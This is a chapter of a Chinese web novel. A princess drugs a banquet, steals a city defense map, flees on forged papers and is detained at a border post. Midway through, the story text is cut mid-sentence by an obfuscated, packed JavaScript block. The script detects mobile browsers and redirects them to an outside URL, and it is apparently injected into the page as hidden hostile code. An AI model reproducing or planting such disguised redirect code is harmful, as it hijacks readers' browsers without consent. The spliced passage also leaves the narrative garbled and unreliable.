94. 抵达
作品:《风雪里》 长孙雪趁郡守府邸人员忙碌之时,来到府中膳房,将一早从药铺买来的迷药下在了酒中,她在酒中下的药不多,厅堂中服下酒水后晕倒的朱家人和郡守一家大抵会在一两个时辰之后醒来。
时间算不上充裕,长孙雪避开郡守府中来往的侍者迅速来到了后院,顺着沉风沿途留下的记号找到了早已等候在后院的沉风。
“可寻到了城防图的下落?”长孙雪刚一寻到沉风便开口询问道。
“郡守府中有两处守卫最是严密,一处临着郡守的书房,另一处临着郡守夫人的卧房。”沉风靠在府中曲廊的柱子上同长孙雪说着自己方才打探的结果,“你觉得哪处最有可能藏着你所说的城防图?”
“郎君可已按我所言闹出了些动静来?”长孙雪一边顺着沉风所言张望着两处守卫严密的地方,一边向沉风询问道。
“我依你所言将当着一些王府侍者的面将两人打晕,此时那些侍者应已赶到你们方才举办宴席的厅堂寻林城郡守了。”
“那便好。”长孙雪看着在那两处看守的守卫接到前院乱子的消息后,走了一两个,剩下的守卫也似乎出现了些慌乱,“以你的经验,你觉得哪处更有可能藏着我想要的城防图?”
“离书房更近的那一处。”
“是吗?我不这么觉得,不如郎君与我各搜查一处?”长孙雪说着将先前准备好的匕首拿了出来。
“好。”
二人说罢便开始分头行动,悄无声息地将门口的守卫放倒,进屋搜查,不一阵而二人从房中出来,独长孙雪手中拿着一个卷轴。
搜查过后,二人在约定处汇合,随后在郡守府邸人员的一片混乱中翻墙离开了郡守府。
“你想要的东西可拿到了?”沉风向长孙雪询问道。
长孙雪不语,只笑着向沉风摇了摇自己手中的方才在郡守夫人卧房隔壁的房间找到的林城城防图纸。
看着长孙雪的笑容,沉风脸上不自主的也带上了些许笑意,“那便好。”
“城门快要关了,褚郎君和康大人应等急了,我们快些去寻他们罢。”长孙雪说着翻身上马,与沉风一并来到了离郡守府邸最近的城门,寻到了在一旁隐蔽处等待的褚明与康皓。
“事情办好了?”褚明看着姗姗来迟的二人开口问道。
“办好了。”沉风点点头回答道。
“那便快些启程罢,我备好了文牒,应能顺利通过城门处军士的审查。”褚明一边说着一边招呼着长孙雪和康皓坐上马车,自己坐在马车前面驾驶,沉风则骑着马护卫在一旁。
褚明在关然手下办事,练就了一身瞒天过海的本事,众人拿着褚明伪造的文牒,赶在城门将要关闭的最后一刻离开了林城。
几番波折之后终是快要抵达兆国,坐在马车前牵着缰绳的褚明率先松了一口气,开怀地笑了几声说道:“总归是离开了林城,谁能想到我这车上既载着逃犯又载着公主?”
康皓听到他的话从马车中探了个头出来,用手指着自己说道:“我是逃犯?”
“自然。”褚明迎着晚风张着嘴,乐呵呵地笑道,“若不是沉风在前顶着,你作为赋凌司登记在册的人,早就不知死了多少回,遇到机遇苟活至今,怎能不算做逃犯?”
康皓听后觉得褚明说的很是在理,微点了点头后,又将头缩回了马车内。
“公主和逃犯,我还以为这两个词褚郎君都是在说我。”长孙雪从马车的另一扇窗子里探出头来,没了头上金钗银钗的桎梏,她第一次觉得吹吹晚风竟这般惬意。
“公主怎会是逃犯?还是尹都城中现下时兴将回家的人叫做逃犯?”
“是啊,我终是快要回家了。”长孙雪将头枕在车窗边,看着漆黑的夜空之上闪着的星子感慨道。
“晚风露水重,莫要吹风太久,会着凉的。”
“我知道了。”长孙雪小声嘟囔了一句后,并没有听着沉风的话将头缩回马车里,而是依旧在外呆着吹着风。
长孙雪很快为着这个选择付出了代价,一夜过后,她真的开始鼻塞流涕,不过幸好她的症状并没有更重,同样在外面吹了一晚风的褚明也不例外,不过他的症状比长孙雪的要更重些,多了头疼的症状。
众人在将要进到兆国国界的一座小山村里暂歇了一日,这一日里长孙雪和褚明卧病在床,康皓和沉风则去到附近的城中寻间药铺,抓些药来煎服。
药的味道苦涩,但比之长孙雪先前在覃国王宫服下的那些药的味道要好上不少,她接过沉风端来的药碗,屏住呼吸,一口气将药喝下,过程中眉头蹙了一下又一下,终了皱着整张脸一边将药碗递给沉风,一边向沉风开口问道:“郎君可有给我买些蜜饯?”
“有。”沉风从身后的木柜上拿出了一个纸袋子递到了长孙雪手上。
长孙雪迫不及待地打开了纸袋子,里面装着的是裹着白色糖粉的金桔蜜饯,酸涩中又带着一点甜,让长孙雪嘴中的中药材的苦味消散了不少。
“我先前忘了问你,你是如何得出林城郡守会将城防图这样重要的东西放在郡守夫人旁边的屋子里?”
“郎君未到宴席上赴宴,若是郎君来到宴席上看过林城郡守与郡守夫人的相处过后,兴许也会得出同我一样的结论。”长孙雪嚼着口中的蜜饯说道,“郡守与郡守夫人之间相处得当又亲密,显然不是如同王宫中那些的戴着假面的夫妻,且行事上郡守夫人显然要比郡守更加细致些。”
长孙雪说完话,看着沉风认真倾听的模样,又笑着补充道:“不过我的这些话都是后话了,你只听听就好。”
“我觉得你说的很有道理。”
听到沉风的话,长孙雪脸上的笑容更灿烂了些,“蜜饯很是可口,郎君可要尝一个?”
“我不喜甜。”沉风说着摇了摇头,“除此之外,我还有一事不明。”
“郎君还想要知道些什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167501|183930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”长孙雪垂下眸子,手里拿着蜜饯,语气依旧轻松。
“你缘何想要拿到林城的城防图?”
长孙雪手上的动作停滞了一刹,但很快便又反应过来,只是脸上的笑容不再。
“覃国欲对兆国开战一事,你定有所耳闻罢。”
“我曾听傅聿在赋凌司提起过。”沉风看着长孙雪说道,“你是为了此事去郡守府拿城防图。”
覃、兆两国若是开战,林城定是两军交战的中心,有了林城的城防图纸,兆国便在一定程度上掌握了主动权。
“我只是担心。”长孙雪语气里藏着些许不安,“你同我说过的,小梅回到了兆国。”
沉风察觉了长孙雪语气中的低落,他走上前去,来到了长孙雪的身边,长孙雪顺势靠在了他的身上。
“我最担心的事情,不过是重新回到覃国,重新回到覃国的王宫。说来或许有些可笑,我担心我不顾一切想回的那个家,会将我赶出来。这份城防图只是我的保障。”
“总不会比先前在覃国时更差不是吗?”沉风用手轻抚着长孙雪的后背,“不论如何,我都会陪在你的身旁。”
休整过后,一行人再次踏上了前往兆国的旅程。
在路上奔波了两日过后,终是到了兆国国中一座名叫饶城的城池大门前。
覃、兆两国的通关文牒不同,需得到城门外的官驿更换文牒方可入城,褚明本对自己伪造的文牒十分自信,却不想在递交文牒时出了什么差错,褚明和长孙雪被官驿的人察觉到了异常,当场就要将二人带走审问。
站在后面的沉风见状就要上前将长孙雪从那些人的手中解救出来,但身边的康皓硬生生地按了下来。
“郎君,情况不明,切莫生事啊!”
在场也不止沉风一人按捺不住,褚明被兆国的军士捉住之后立马就慌了神,不断挣扎着。
“我的文牒有什么问题?你们这些军士不能乱抓人啊!”
另一边被挟制住的长孙雪显然就要冷静不少,但身边军士挟制她的双手十分用力,抓得她生疼,让长孙雪不禁皱紧了眉头。
“对了,她!她!”褚明着急地说道,“她可是你们兆国的公主,你们怎么能乱抓公主!还有我们这些为公主做事的人!”
褚明忘了这里是饶城不是燕京,不是人人都见过皇亲国戚,就算是兆国如今的陛下到此,这些军士也未必识得。
“就她?”抓着褚明的军士上上下下打量了一番如今因路途疲惫不已,没有任何金银首饰傍身的长孙雪说道,“你说她是公主也要拿出些让人信服的证据来,如此信口开河随意胡诌,反倒映出你的嫌疑更大些!”
那人说罢,不再顾忌褚明的争论与挣扎,毫不留情地将褚明带离了官驿。
官驿人群拥挤,不一会儿便将站在前面却不换文牒的康皓和沉风挤到了后面,沉风没能在长孙雪被带离官驿之前再见长孙雪一面。

